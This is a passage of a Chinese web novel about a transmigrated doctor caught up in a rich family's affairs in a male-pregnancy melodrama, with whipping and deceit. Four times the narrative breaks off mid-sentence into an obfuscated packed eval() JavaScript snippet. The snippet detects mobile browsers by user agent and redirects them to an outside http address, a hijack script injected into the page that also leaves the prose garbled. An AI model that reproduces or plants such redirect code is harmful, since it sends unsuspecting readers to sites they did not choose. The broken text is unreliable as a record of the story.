郁瑟现在知道为什么段誉在看见王语嫣的第一面,会一见钟情甘当舔狗了。 美人无罪啊~ 仅仅是与枫家家主对视后一眼魂荡,郁瑟已经傻呆呆地像从小没有吃过好的土老帽一般,站在原地心如擂鼓。 直到枫家家主拿起摆在身侧的皮鞭,一鞭子抽到跪在面前的男人身上。 “啪!”一声血沫横飞,顷刻在男人胸口打出一条血痕,虽然没有伤及内脏,但是依旧刮掉了一层皮,皮开肉绽后流出一串绯红的血珠。 啊啊啊啊! 郁瑟原本因为看见美人魂飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099321|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魄散,后因为美人轮鞭魂飞魄散。 虞兮虞兮奈若何啊~ 枫家家主完全不为所动,更不懂得何为怜惜,将沾血的鞭子丢给一旁的人,淡淡朝跪着的男人问道,“知道错了吗?” 跪在地上的男人应该有30岁出头,上身脱得干干净净,只露出常年在健身房锻炼后的得到的健硕身躯。 胸很大,形状很美。 如今布上两三道鞭上之后,浑身充斥着凌虐与坚毅相糅合的气息。 男人紧咬牙关,额头上的汗水如断线的珠子般滚落,滴在被鞭子抽打的伤口上,带来一阵剧烈的刺痛。 “作为大哥,我会认真管理知乐的。”枫家的大少爷枫澄紧咬住牙根,虽说背脊挺拔一声不哼,绝对地坚毅不屈,宁死不弯,但从字里行间都在表示出对家主的衷心与服从。 “小叔叔。” 枫家家主微微眯起那双碧玉琉璃色的眼眸,其中闪烁起一层复杂的光芒。 屋子里还站着两个人,都是家主的随身保镖,枫音尘也算是给了侄子足够的面子,没有在众目睽睽之下给对方难看。 枫音尘朝郁瑟伸出一根手指,勾了勾,“你过来。” 郁瑟身子一僵,手指不自觉得收紧,他没想到枫音尘会在这个时候点名让他过去。 我才刚进来啊! 站在一旁的金管家根本不敢插嘴拒绝。 枫音尘的性格喜怒无常、阴狠难测,整个枫家最至高无上的存在,无人敢与之叫嚣。 屋内几人的目光瞬间聚焦在郁瑟身上,让他感到一阵前所未有的压力。 郁瑟缓缓起身,每一步如同踩在刀尖上,艰难地走向枫音尘。他的心跳如鼓,几乎要跳出胸膛,不知道等待自己的将会是什么。 走到枫音尘面前,才停下脚步,虽然明明是他站着,而枫家家主坐着。 然而两人的高低,却完全不是由视觉来决定。 郁瑟身为医生,也算是见过不少性格的人,如此极致的美貌与极致的阴狠,在他一人身上体现得如此淋漓尽致。 还真是头一遭。 那双碧玉琉璃色的眼眸仿佛能洞察人心的铜镜,又似深不见底的碧潭,令人心生畏惧。 但又在恍惚之间,又被对方惊为天人的美貌深深迷惑。 这人肯定是这个书中世界的主角。 郁瑟十分肯定,一般小说里的人都不会刻画到如此貌美。 只有身为主角的人物,才会是整本书的颜值巅峰。 ...... 郁瑟不敢与之对视太久,生怕自己会被那双眼睛疯狂地吸纳进去,永远无法挣脱。 他简直太纯情了,即使性格稳重,甚至在某些方面略带一丝天然的呆板。 ....... 对一个尤其漂亮的人,产生一丝丝不该有的遐想,绝对是人之常情。 郁瑟想:这家伙应该也能生。 5. 第 5 章 郁瑟是一个接受高等教育很多年的人,是一个充满正义感且正直的人。 即使如此,人的骨子里依旧是崇尚美貌的肤浅动物。 即使郁瑟再正直,再沉稳,毕竟是个活生生的男人,也会对漂亮的雄性想入非非。 只在一个刹那,郁瑟的脑海里已经完成了娶妻生子的一系列人生大事,当他发现自己居然对着一张美妙绝伦的脸意淫时,又深深地厌恨自己的肤浅。 枫音尘不知看懂他眼底的惊艳与矛盾了没有,反是调侃了一句,“怎么,我长了一张你的初恋脸?” 郁瑟的脸皮也跟着他经历28个春夏秋冬了,第一次禁不住拷打似的,泛起红热道,“不,我是在认真听家主您的吩咐。” 枫音尘:“家庭医生?” 居然被对方轻易猜到了? 虽然是猜到了假冒的身份,但也十分接近正确答案。 郁瑟被对方精准的洞察力所折服,赶紧点头,“我是今天刚来的。” 他与枫音尘一问一答了几轮,处于其他位置的人俨然觉得不可思议。 枫家的表面生意全部是由枫家的嫡长孙枫澄在接管,然而背后掌握实际操作权的却是枫音尘。 枫音尘对外不喜欢随便抛头露面,外界对其只闻其人不闻其名。 枫家族内的人却深深知道他的恐怖之处,毕竟耳濡目染太多。 第一条,就是枫音尘从不喜欢与人搭话。 此时此刻的枫家家主,居然与新来的医生交谈两句以上,委实耸人听闻。 原来,家主也是能与人正常交流的呀!! 其他人不论,跪在地面接受家法惩罚的枫澄竟也抬眼多看了郁瑟几眼。 确实是一副正正经经的样子。 枫音尘听了郁瑟的接话,不知为什么待他尤其不同,将手往皮鞭的上方挪去。 郁瑟以为他下一秒的动作,是要拿起皮鞭抽打自己。 却见沙发角落未曾注意的地方,盘着一圈蚊香似地形状,原以为是死物,却听见那盘“蚊香”突然发出嘶嘶嘶的声音,从最中央缓慢地爬出来一截蛇头。 站在近处的郁瑟头皮发寒至极。 在碧眼美人的手旁一只盘桓着一条黑幽幽的小蛇,至于是什么品种完全看不出来,但是与枫音尘一般,有着一双碧玉琉璃色的眼珠子,沿着枫音尘伸去的手慢慢攀爬,最后被盘在脖颈处。 绿眼小黑蛇还朝郁瑟吐了吐开叉的小粉舌头。 枫音尘的全部耐心都用在这条小蛇身上,对待其他人反倒冷漠无情,起身对金管家投去嘲讽,“你倒挺迫不及待的。” 只是简单的一句,金管噗通跪在地面,与家主求饶说,“二少爷最近感冒,我是打电话叫大夫来开药的,只是刚凑巧把人给接过来。” 绝对不是见您责罚大少爷,故意跟您对着干的意思!! 枫音尘一点眼神也没分他,而是抛出一句奇怪的回复。 “这人不错,以后就签他吧。”言罢,脖颈上缠着他的宝贝小黑蛇,两名保镖紧随其后,三人快速而去。 等玻璃房门关闭的瞬间,每个人紧绷的面孔间才像是骤然崩塌的防线,终于松了一口气。 金管家将双腿已经发麻的枫澄从地面扶起,尽管他自己的两条腿瑟瑟发抖。 郁瑟也过去帮忙,但不主动动手,先保持着适当的社交距离,言道,“我看这几条鞭伤并没有伤到骨头,但是需要缝一下才好得快一点。” 枫澄站起身后竟有185,比郁瑟的身量高壮,也比郁瑟年长两岁,挥开手道,“不必,我自己能处理。”声音夹带着一丝不易察觉的沙哑,显然是因为刚才的疼痛所致。 金管家连声介绍,“这位并不是家庭医生,而是大少爷您叫人专门去请的那位。” “什么?”枫澄原本因为失色的面孔,骤然变得更加难以捉摸。 意思是,在枫音尘的眼皮子底下,居然站着一枚定时炸.弹? 枫澄转怒道,“谁请来的,可真是会挑时候,一个两个全部不是省油的灯!” 郁瑟看他胸部随着气涌,结上血痂的位置又开始渗出血珠。 医者仁心。 他真的很想再劝一声:让我缝缝吧,大少爷。 金管家必定是他的心腹,也忧心忡忡道,“那两个白痴我会马上处理掉,少爷,结痂的伤口又开始渗血了,还是叫大夫处理一下吧。” 枫澄并未犹豫,“没那么娇气,你先去知乐的房间看看,他到底有没有想起那天究竟跑哪里去了!” 枫家的家教森严,即使身为男性,一个刚满19岁的男孩子彻夜不归,回来的时候也不知道自己究竟遇见什么人?遭遇了什么?还带着一身可疑的痕迹。 叫他这个做大哥的如何不担心?叫知道这件事的家主如何不拿他是问?! “再联系一下那天酒吧的监控,”枫澄的牙根咬得咯咯作响,“我倒要看看,是谁这么大胆子,敢在太岁头上动土!” 金管家一一照着去办。 郁瑟则跟在枫澄的脚步之后,搭乘室内电梯,前往三楼的一间书房。 郁瑟感觉他是在硬挺,不由向这位第一次见就在挨打的大少爷建议,“伤口太深的话,容易创口感染,而且还会留疤。您这般硬撑,也不是长久之计。还是让我先消消毒,好好调养一番,以免日后落下病根,影响您的身体健康。” 枫澄将书房的房门关紧之后,转身流露出一种硬撑之后的疲软神情,大概也是真得很疼,或者疼多了变得麻木。 最终选择妥协,坐在转椅间,尽量使胸部的肌肉保持放松。 郁瑟立刻问了家庭药箱的位置,从里面拿出药品和纱布,进行完简单的清理之后,又涂抹消毒剂与止痛剂,还专门请书房外的家佣倒了一杯温水,请他服用了抗生素,避免创口发炎。 枫澄冷淡地看着他忙完一切,只有在疼极了时才会露出痛苦的呻吟,再死死咬紧嘴巴,直到包扎好白纱布。 嘴唇间已经咬出沾血的牙痕。 “你的手脚很利落,郁医生。” 枫澄知道对方姓郁,也自然知道郁瑟是一名做什么的医生。 “我觉得你很值得人信赖,应该是个能守口如瓶的家伙。” 郁瑟随手收拾着药箱,言道,“只要不违背医生的职业道德,其实我也是个拿钱办事的普通人。” 枫澄点点头。 “我家小弟最近惹了祸,一个弥天大祸。” 枫澄无法将小弟所遭遇的事情说得太详细,即使是家主枫音尘,也不完全知道这个秘密。 等一会儿金管家回来,他会让郁瑟签署保密协议。 即使这样,也不能将事情的细节披露得过分详细。 枫家不是一个普通家庭,除了雄厚的财力与广袤的人脉资源。 枫家人的祖训更是有仇必报。 作为枫家的嫡长孙,枫澄自幼便承受着家族的重望与压力。他性格内敛,沉默寡言,平常更是将精力集中在公司上。 所以才疏漏了自家小弟的教育问题。 “我已经派人调查过你的资料,据说你是整个龙城里,唯一针对男性的......” 呃。 想想接下来的话题其实十分尴尬。 男人怀孕,就像公鸡下蛋一样荒谬。 可若是家佣没有在垃圾桶里捡到那一支显示出双红线的验孕棒的话。 枫澄道,“我需要你帮我家小弟做一次检查,假如检查结果不妙的话,希望能替他做引产手术。” 郁瑟大致弄明白此行的缘由,“可是,当事人愿意把孩子引掉吗?” “他没有资格说不!”枫澄的脸色因为失血变得惨白,而且狰狞可怖。 “等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099322|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我拿到该死的DNA之后,我会调动全城的DNA基因库信息,找出那个王八蛋,然后送他坐牢!” 郁瑟哑然。 不过完全可以理解,只是他还没有细致地研究过男性的引产手术该如何去做。 万一失败了...... 他发现枫家人的报复心比一般人家的要强,到时候自己会不会被捆上石头丢进海里喂鲨鱼? 郁瑟的沉默俨然令人不快。 枫澄没有给他拒绝的机会,因为龙城再找不出第二个能接手男性怀孕的医生了。 “事成后给你三千万的酬劳。” 威胁中又像是带着诱惑,资本家最拿手的计量。他们用金钱和优势编织出一张无形的网,既让人感到压迫,又让人无法抗拒。 一种微妙的平衡,仿佛在刀尖上跳舞,每一步都充满了危险与机遇。 郁瑟想了想自己和医院的未来,答应了。 随后跟金管家签订保密协议,才被枫家人又全须全尾地送了回来。 时间已经渐晚。 郁瑟的思绪也如慢慢沉沦的太阳,沉淀进如何处理这场前所未有的手术之中。 慈康医院门口此刻停泊着一辆黑色迈巴赫,看车牌连号便知来者地位不俗。 金管家笑道,“我们这次选择郁医生真是太明智了,你瞧,这医院来往的全是些了不得的人物。” 郁瑟尴尬笑了一下。 他当然希望自己的小破医院逐渐壮大,生意兴隆,研究硕果累累。 可是今天找他的人,难免也太多了吧? 郁瑟迈进医院第一步,就感觉气氛不对劲。 小护士平常闲来无事,都喜欢扎堆坐在办公室里聊天、吃零食,今天却鸦雀无声,不知躲哪里去了。 郁瑟往自己的办公室一探头,正见到王齐正给沙发间的男人端茶。 男人十分英俊,平整利落的发型看起来格外有型,眉宇间透着一股不容忽视的厌烦,周身名牌加持,看来等待许久,已经有些坐不住的样子。 有点眼熟。 这.....不是那个大街小巷沾满广告位,显示屏,铺天盖地宣传订婚仪式的陆云辰吗? 郁瑟念想了这个人好几次,每次都想着万一被发现自己撒谎就完了。 可是真的与本尊相见,反倒有种可笑的情绪在蔓延。 ——哦,终于想起白梵和孩子的事情了? 王齐朝他挤挤眼,示意对方来者不善,拿着文件夹假装去巡病房。 郁瑟佯装出见到稀客似地打招呼道,“先生您好,我刚才出了一趟诊,不知道您在这里久等了。” 陆云辰来者不善,看到这家破医院能管事的人出现了,冲郁瑟质问道,“你们这边有没有接手过一个怀孕七个月的人,男性,叫白梵。” “白梵啊?”郁瑟淡淡地思考了一下,“有,我记得一个月前,似乎是接手过一个孕夫,因为对方来的时候没有携带身份证,所以当时并不知道他叫白梵。” 陆云辰道,“他去哪里了?” 郁瑟心里想起无数种回复他的话,最想说的是,你不是已经和林家千金订婚了吗?一个自己已经抛弃掉的玩物而已,怎么突然回心转意,又找上门来了呢? 哦,可能是想起来两人之间还有个孩子吧。 郁瑟在现实世界见过不少这种情况,有的人生下来孩子就丢在医院人跑没了的,有的为了给孩子上个户口,找到医院来认亲,各种戏码郁瑟都见过,眼前的陆云辰,不知道属于哪一种。 但这是狗血小说嘛,何况不能辜负陆夫人的200万。 郁瑟转了脸色,分外沉痛道,“抱歉,恐怕给你带来的是一个坏消息。” “白梵在生产前从楼梯间跌落,人到医院的时候已经不行了。” 所以。 “人和孩子都没了。” 6. 第 6 章 沉默,持久性地沉默。 郁瑟知道陆云辰类似于难以置信的沉默之后,必然会疯狂地爆发。 所以他提前检查了一下桌面具有攻击性的武器,还好爱徒王齐知道他有洁癖,将桌面清理地干干净净。 只有在陆云辰面前摆放的一杯逐渐冷却的茶杯。 果不其然。 陆云辰像是一只被噩梦惊醒的雄狮般,以迅雷不及掩耳之势拿起茶杯,狠狠砸了过来。 郁瑟则预判了他的动作,更快地往右侧闪了一下头。 那个新买的水杯成为倒霉的受害者,被残忍地抛向墙体,瞬间发出支离破碎的迸溅声、破碎声。 陆云辰一张稳重的帅气面庞彻底分崩离析、怒目圆睁,额头的青筋根根分明,仿佛随时都会爆裂开来。 “你有种在给我说一遍!!”他的声音因愤怒而变得沙哑而尖锐,如同锋利的刀片在空中划出一道道无形的裂痕。 哦,大概还有陆云辰的某种高人一等的自尊心,也一并在这猛烈的撞击声中,化为了碎片。 郁瑟这种场面见多了,毕竟每个医院都经历过医闹纠纷,他们这些男医生每次都得冲在最前线,充当医院的“盾牌”。 他神色不变,面对陆云辰的怒火,依旧保持着冷静与理智。 “陆先生,我理解你的心情,但请冷静一下,我是在陈述一件事实,绝非在编造什么无中生有的谎言。”郁瑟的话语平静而坚定,试图安抚陆云辰的情绪。 而且。 “医者父母心,陆先生您这样质疑我,我很难过。” 抱歉啊,老兄,我已经决定做白梵的医者父母,只能当你的恶毒后爹了。 郁瑟重而又重地说了一句,“白梵先生确实已经不治身亡,当时您的母亲也在现场,我一个小医生人微言轻,相信您去找她对峙一下,应该比问我强多了。” “哗啦!!” 这次是转椅翻倒的巨响,陆云辰直勾勾起身时撞到了座椅,发出更为惨烈的声响。 还好当初金主给的钱足够多,医院里的家具全部购置的名牌,经久耐用还耐打砸。 郁瑟对自己的工资要求不高,他只希望把医院好好地办下去,令每一个进门的顾客感到宾至如归。 “我只能说,请您节哀,陆先生,这边就不送客了。” 郁瑟做出一个有请的姿势,陆云辰已经盛怒之下砸掉一个茶杯,总不好由着他任性,发飙砸掉整个医院。 暂时的妥协。 “希望你不是真的在欺骗我,否则,我一定叫你再也无法在龙城立足!!” 咬牙切齿着,每一个字都像是从牙缝中挤出来的,陆云辰的双眼赤红,紧握着拳头,似乎在竭力克制着想要将眼前人撕碎的冲动。 最终深深地吸了一口气,再缓缓吐出,转身后大步流星地走向门口,每一步都踏得大理石地板铮铮有声,仿佛要将所有的愤怒都发泄在这无辜的地板上。 迈巴赫载着这位瘟神极快地离开。 郁瑟连喘气的功夫也没有,大步往二楼的住院部跑去。 王齐从白梵的病房中出来,两人差点碰到一起。 郁瑟道,“必须赶紧找个地方将人先藏起来,否则等人回过味儿来,肯定要闯进二楼的。” 他刚才推出陆夫人来挡枪,也只是权宜之计,很快陆云辰会再次杀回来。 白梵的抽噎声从屋里传来,刚才王齐上来通风报信,给人藏进衣柜里,正是为了地方陆云辰突然发疯。 他的哭声细细弱弱的,连带怀里的孩子也被惊醒,哭得倒是十分响亮。 白梵哭道,“就当我和孩子真的死了吧,郁医生,我永远不会原谅那个人的!姓陆的永远不要想再见到遇安!” 郁瑟挺佩服他的决心和勇气,走过去拍拍白梵的肩膀,给人递了一张面巾纸。 “既然那种人不值得,就不要再哭了,人生还长,总要向前看,为自己,也为孩子。”郁瑟的话语带着坚定,试图给白梵一丝慰藉。 白梵接过纸巾,泪水在眼眶里打转,却努力不让它们再次落下。 孩子还在哭,那哭声像是锋利的刀片,一刀刀割在他的心上。但他知道,自己绝对不能倒下,他还有遇安,所以必须坚强。 郁瑟想了想能安排这对可怜父子的地方,奈何他自己也是一个外来户,还没有实打实地站稳脚跟,但是将父子两人送出外地也很不现实。 毕竟白梵还要照顾孩子,一看便是弱不禁风的模样,搞不好前脚走出医院,大人连孩子一起嗝屁了。 郁瑟道,“没事,船到桥头自然直,你先哄好孩子,我这边想办法,看看能不能联系到什么可靠的人,暂时安置你们一段时间。” “郁医生,真的太谢谢你了。如果不是你,我真不知道该怎么办才好......”白梵的声音中带着哽咽,更多的是对未来抱有一丝希望。 事后王齐问他,“师傅,你真打算把自己塑造成一个救苦救难的男菩萨形象啊?” 其实不然。 郁瑟本身就是一个富有同情心和救助心的人,否则当初为什么没有去选择更挣钱的外科,而是妇产科? 他可以脸不红心不跳地发誓,这辈子接生了上百个孩子,可是完全没有收受过任何一个红包。 郁瑟说,“可能是每个人都有第一次的情节吧。” 白梵怀里的孩子是他来到这本书中世界,第一个经手接生的孩子。 一个新鲜稚嫩的生命,仿佛在印证自己重生一世的奇迹。 如果人能活到两辈子的话,大概更能深刻理解到生命的奇迹与不易。 郁瑟思来想去,金主萧凛可以帮到自己的,不过陆云辰的背景不俗,应该能与萧凛达到并驾齐驱的地位。 很容易会被发现。 只有找地位更高的人了。 目前,确实有一位更值得依托的新靠山。 枫家。 事不宜迟。 郁瑟第二日亲自登门,他现在假借着家庭医生的名头,被准许可以随时进入枫家本宅。 枫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099323|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澄的工作很忙,估计不会有什么时间接待他,所以郁瑟预计着主动在枫家先做点什么贡献,叫枫澄觉得他特别可靠。 所以,郁瑟联系了金管家,试探地问了一下,自己可不可以先跟所谓的三少爷接触接触? 从之前听到的碎片化信息里,不难推断出三少爷应该被禁锢起来了,而且出了那种事情,人的情绪也不会很好。 金管家请示完枫澄,带来的话是你看着办。 郁瑟终于缓口气,提着药箱子假模假式地走进枫家本宅。 金管家给他指明了房间的位置,并且低声警告说,“宅子里住的不仅仅是大少爷一家,还有现有的家主。” 说完,特意透过一扇窗户指明给他看道,“枫家的前任家主在临终前,始终重视家族的凝聚至福,所以主家与两个儿子的宅邸都是相连的,只是内部格局有所不同。” “你进去后,切记不要随意走动,尤其是不要走错方向。” ...... 他的表情忽然神秘至极,“家主有些特殊的癖好......”欲言又止到令人回味。 那位碧玉琉璃眼,看不出具体年龄的超级大美人?! 郁瑟想他的特殊癖好无非是喜欢拿鞭子抽人,或者是养蛇之类的吧。 心里默默记下,望着金管家所指的方向,枫家少爷们所居住的建筑充满现代简约风格。郁瑟收回目光,深吸一口气,迈步朝着金管家指示的房间走去,来到三少爷枫知乐的房间。 房间的门轻轻推开,一股中药的味道扑鼻而来。 郁瑟皱了皱眉,这种味道他再熟悉不过了。 走进房间,只见一个身影蜷缩在床上,背对着他,似乎正在沉睡。 轻轻走近时,郁瑟想要观察一番。然而,正在他即将靠近的瞬间,那个身影突然动了动,转过身来,一双红通通的眼睛直勾勾地盯着他。 “你是谁?” 说话的三少爷并没有想象中的难以接近,而且从五官外貌间看,也不似枫澄那种严肃冷酷。 是一个恰好青春年华,又养尊处优的小少爷形象,一双圆溜溜、水汪汪的眼睛充斥着恐慌与无助。 假如没有经历那种糟糕的事情,肯定会是一个充满阳光气味的可爱少年。 郁瑟见状,心中不禁生出几分怜悯,于是放缓语气,尽量让自己的声音听起来温和一些:“三少爷,我是新来的家庭医生,现在需要对你手腕的伤口进行处理。” 郁瑟眼尖,早已经看见枫家三少爷露在外面的手腕与脚腕有被捆绑过的痕迹。 紫红色的印痕应该是新留下的,郁瑟推测,可能是枫澄屡次询问无果,对不听话又愚蠢的弟弟失去耐心,捆住他不准外出。 三少爷听了,仍有些戒备地望着他。 郁瑟见状,也不着急,而是耐心地站在一旁,等待三少爷的情绪稳定下来。 过了好一会儿,三少爷才开口问道:“你确定不是来替我做其他方面检查的医生?” “例如有没有怀孕什么的?” 7. 第 7 章 枫家三少爷枫知乐的情绪看起来非常抵触,即使是性格阳光的人,在遭受某种不公正的待遇下,也会心生怨怼。 或者,有没有可能,其实一切仅仅是大少爷枫澄的猜测。 ——只要自己没有替枫知乐做过体检,就不能断定对方是否怀孕。 此刻枫知乐倒是笑了,不过笑得很勉强,“睡是真的跟谁睡了而已,但是大哥的话,难免也太鬼扯,他怎么知道我会怀孕,我可是一个堂堂正正的男人啊!我去哪里怀!我有那种揣孩子的地方吗!” 哦。 郁瑟这算是弄清楚来龙去脉了,原来只是枫家大少爷自己的推测而已,再加上枫知乐的情绪颇显抗拒,所以激起了豪门嫡长子的控制欲。 何况,这枫知乐跟刚来到这个书中世界时一样,不知狗血界的险恶设定,说让你怀就得怀,管你哪里多长了什么奇怪的器.官。 郁瑟笑道,“我真是新聘请来的家庭医生,知乐少爷你在讲什么?我根本听不懂。” 为了表明自己目的单纯,郁瑟将手里的医药箱子打开,露出简单的治疗器具。 “我只是一个拿钱办事的小医生而已,假如今天我不能完成你的治疗任务,大概五分钟后就会被金管家赶出门,再委派其他的医生过来了。” 郁瑟长得不够俊美,但胜在气质温润如兰,当年高考成绩还没出来的时候,郁爸郁妈还开玩笑,讲他的成绩如果够不上念医大的话,不如去做老师。 郁瑟的微笑很能安抚人心,眉眼淡淡的,毫无攻击力似的,但总能直抵人心最柔软的角落。 郁瑟确实与之前来的医生不一样,之前的医生一进门就开始摆出很有经验的模样。 枫知乐很不喜欢,更加不配合。 郁瑟的示弱冥冥中叫他有点心软,毕竟是19岁的年轻孩子,又出生在豪门,平常见惯的表情不是奉承恭维,便是趋炎附势,或者根本没有几分真心。 当然,除了他那几个高中一起毕业的好兄弟。 枫知乐缓缓起了身,将手腕递出去道,“那你看吧。” 郁瑟抿唇一笑,哄孩子嘛,不管是一两岁的,还是十几岁的,示弱总是一种极好的手段。 郁瑟快速检查了三少爷的手腕与脚腕,这孩子应该没有被枫家的美人家主抽过鞭子,其余的地方都很健康。 简单的上了药之后,郁瑟快速收拾好药箱,朝小少爷微微鞠躬道,“十分感谢你的配合,明天我还会过来检查一下伤口的康复情况。” 枫知乐一向活泼开朗,在高中时就是一颗开心果,这段时间被大哥禁锢在屋子里,连手机也没收掉,完全没有任何排解方式,人也像奄奄一息的火烛,连精神头都没了。 好不容易有人进来,又是一个看似和蔼可亲的人,枫知乐其实还挺想跟他问一些事情的。 郁瑟正是要吊着他的胃口,主动言道,“金管家给我限定了时间,现在已经到了时间,不过知乐少爷需要什么,我明天可以试着偷偷带过来。” 用手指在嘴唇前比划噤声的手势,“不过要保密。” 枫知乐处世未深,完全不知道人在极度无助的时候,最容易露出脆弱的马脚,看到有人能帮助自己,连忙说道,“我想要一部手机!” 这...... 郁瑟道,“那么我们明天见吧。” 这句话并不表示同意,也不表示拒绝,残留着希望的小尾巴,缀了一滴甜蜜入髓的蜂糖。 郁瑟走出房间,外面不知何时走来的保镖,大概真的像他自己瞎编的那样,确实不能在里面待得时间过长。 郁瑟很快与前来接他的金管家相遇,见面立刻抛出有利于自己的话题,轻松言道,“三少爷似乎不讨厌我,我刚才对他被捆绑过的痕迹做了简单处理。” “如果大少爷允许的话,我觉得这件事情需要慢慢来。” 郁瑟看了一眼金管家的年纪,应该在四十岁左右,一般这种年岁的管家,绝对在枫家待了足够长的时间,亲眼见证了不少的家族秘闻。 “我从医生的角度理性分析一下,三少爷似乎不怎么相信男性怀孕这件事,假如大少执意要我立刻给三少爷做检查,恐怕兄弟两人会因此心生嫌隙......” 郁瑟佯装察觉失言,一把捂住自己的嘴唇,“抱歉,我以后不会再胡说八道了。” 金管家嗯了一声。 其实整件事郁瑟只负责拿钱办事就好,这个家的事情确实轮不到他来插嘴。 金管家言道,“那郁医生有什么好办法吗?” 郁瑟顺坡下驴道,“明天我跟三少爷约好了,来给他换药。” 这些药都是尚好的活血化瘀药物,里面的成分有麝香、红花等活血药材,假如枫知乐真的像大少爷猜测的那样,怀了孩子的话,连续腹两三天药,会出现小腹抽痛等的症状。 他会把计量拿捏得恰到好处,不会真的伤害到胎儿。 假如,真的有这个所谓的孩子的话。 金管家闻言道,“我们签署了保密协议,相信郁医生你能很好地想出办法来解决问题的。” 作为管家,其实也就是一个区区拿高工资的家佣,即使平常看到家里有什么不对劲的地方,他也是没什么权利去插嘴或干涉的。 郁瑟说得没错。 三少爷枫知乐的学业现在被迫停止,虽说枫家有权有势,可以将他送去更好的学府深造,然而被禁锢在家里的这段时间,不说浪费时间,更是对于兄弟亲情的一种消耗。 金管家正欲将郁瑟送出门,却听见大步伐伐地走路声,将大理石地板踩踏得发出擂鼓一般地响动。 “金叔!金叔!大大大事不好啦!!” 声先到,人未到。 金管家神色一改,与郁瑟面面相觑着,“你进门的时候小心翼翼,应该没人注意到你吧?” 却见走廊转角冲过来四五个工人装扮的人,每个人面色惨白,比大白天见了鬼还要面露惊悚与恐惧。 金叔一瞧是家主那边的人,有全是一副慌张至极的面孔,心脏倏然沉到湖底般,急匆匆上前问道,“出什么大事了?” 为首的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099324|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工人吓得快要哭了,扯住金管家的双臂,像是要双膝跪下,其实其他四个人也双股瑟瑟发抖,处于崩溃的边际。 “伊尔曼不见了!!” 郁瑟都不认识这个所谓的伊尔曼是谁,可是当金管家听见这个名字的瞬间,整个人不好了,也跟着一起惶恐道,“你们怎么能这么不小心呢!!那个可是绝对不能丢失的啊!!!” 郁瑟瞧这一群人已经手慌脚乱,完全无人在意他的存在,也不便再打扰下去,转身自己找出路回家。 之前提到过的枫家本宅建筑庞大,之前住了不少人,现在只有两家在住,所以显得空落且孤寂一点。 但大是真的很大。 郁瑟在屋子里穿行了半个小时也没能顺利走出去,他记得自己根本不是一个真正意义上的路痴啊? 有钱人教他做人。 郁瑟思来想去觉得在屋子里转悠简直是瞎耽搁时间,不如走到建筑外面,然后选择一个最有标志性的建筑作为参考物,应该很容易找到出路。 可是。 郁瑟转了十几分钟才发现。 狡兔三窟,连资本家的门儿都安装得特别多,错综复杂的程度相当于一座小型迷宫。 郁瑟认输了,随便走进一间小型的会客厅,先坐在上面休息一会儿,准备等金管家那边忙完之后,再请他来帮助自己脱离苦海。 郁瑟在屋子里转悠的这四十几分钟,但凡路过之处,基本上没有见过什么家佣之类的。 “大概都知道那个什么伊尔曼走丢了,忙着去找吧。” 郁瑟双臂环在胸前,淡淡地望着窗户外宁静的山庄,郁郁葱葱的树丛将山庄包围得密不透风,但是空气清新怡人,落日的余晖缓缓降临时裹挟住一片橘色的纱帘,将绵延的翠色覆盖成半金半百合色。 好困。 郁瑟一直忙忙碌碌的,鲜少有机会能像此刻一般闲散。 不知不觉,一不小心依靠着沙发睡着了。 睡梦中的郁瑟并不好受,冥冥中有什么东西沿着他的脚缓缓往上爬行,又凉又腻的触感隔着腿部单薄的布料,透出一股难以名状的酥麻。 而后,那蜿蜒又粗长的动物沿着他敏感的小腿骨,缓缓地爬上了大腿,在大腿之间收紧了力道,还有一部分则从衬衫的缝隙处钻了进去,在他单薄的胸腹肌间扭曲着走位起来。 “嘶嘶嘶~” 郁瑟旋即从昏昏沉沉的睡眠状态转成半苏醒状态,然而双眼仿佛压着沉重的铅块,完全无法彻底睁开眼。 直到又更重的东西压在身体一侧,抱住他,攀住他的肩膀,用精致的下颌线不停地摩擦郁瑟脆弱的耳侧。 宛若一条更加巨大的......蛇! 腻滑、冰冷、凉丝丝地吐着气息。 